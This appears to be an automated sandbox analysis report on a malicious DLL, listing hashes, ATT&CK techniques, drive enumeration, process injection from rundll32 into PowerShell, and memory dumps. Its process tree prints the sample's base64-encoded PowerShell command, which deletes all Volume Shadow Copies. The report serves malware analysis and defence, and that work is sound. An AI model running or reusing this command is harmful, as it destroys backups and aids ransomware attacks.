42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83

General

Target

42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83.dll
Size

164KB
MD5

4903f3effb98da65c49bb9591c16615d
SHA1

d53e85991420c1475385babd72d31ee77faefc6d
SHA256

42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83
SHA512

454b8a5f3528ce77d993b84ccd0df7b8f0843a6a47516b1aa13fe6cbb79d1853646e03c7c9663266df154fd464f594d41be1e392d0c8c3dd676e4348e5149880

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\Y:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1648 rundll32.exe
668 powershell.exe

pid	process
1648	rundll32.exe
668	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	668	powershell.exe
Token: SeBackupPrivilege	432	vssvc.exe
Token: SeRestorePrivilege	432	vssvc.exe
Token: SeAuditPrivilege	432	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1824 wrote to memory of 1648	1824	rundll32.exe	rundll32.exe
PID 1648 wrote to memory of 668	1648	rundll32.exe	powershell.exe
PID 1648 wrote to memory of 668	1648	rundll32.exe	powershell.exe
PID 1648 wrote to memory of 668	1648	rundll32.exe	powershell.exe
PID 1648 wrote to memory of 668	1648	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1824

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\42996516b6604ba136ff909d9b59d2a676a72eaafa30c729cdfaddd96b20fc83.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:668

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:432

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/668-56-0x000007FEFB781000-0x000007FEFB783000-memory.dmp

Filesize
8KB

Download
memory/668-58-0x00000000025E0000-0x00000000025E2000-memory.dmp

Filesize
8KB

Download
memory/668-59-0x00000000025E2000-0x00000000025E4000-memory.dmp

Filesize
8KB

Download
memory/668-60-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/668-57-0x000007FEF2A20000-0x000007FEF357D000-memory.dmp

Filesize
11.4MB

Download
memory/668-61-0x00000000025EB000-0x000000000260A000-memory.dmp

Filesize
124KB

Download
memory/1648-55-0x0000000075421000-0x0000000075423000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads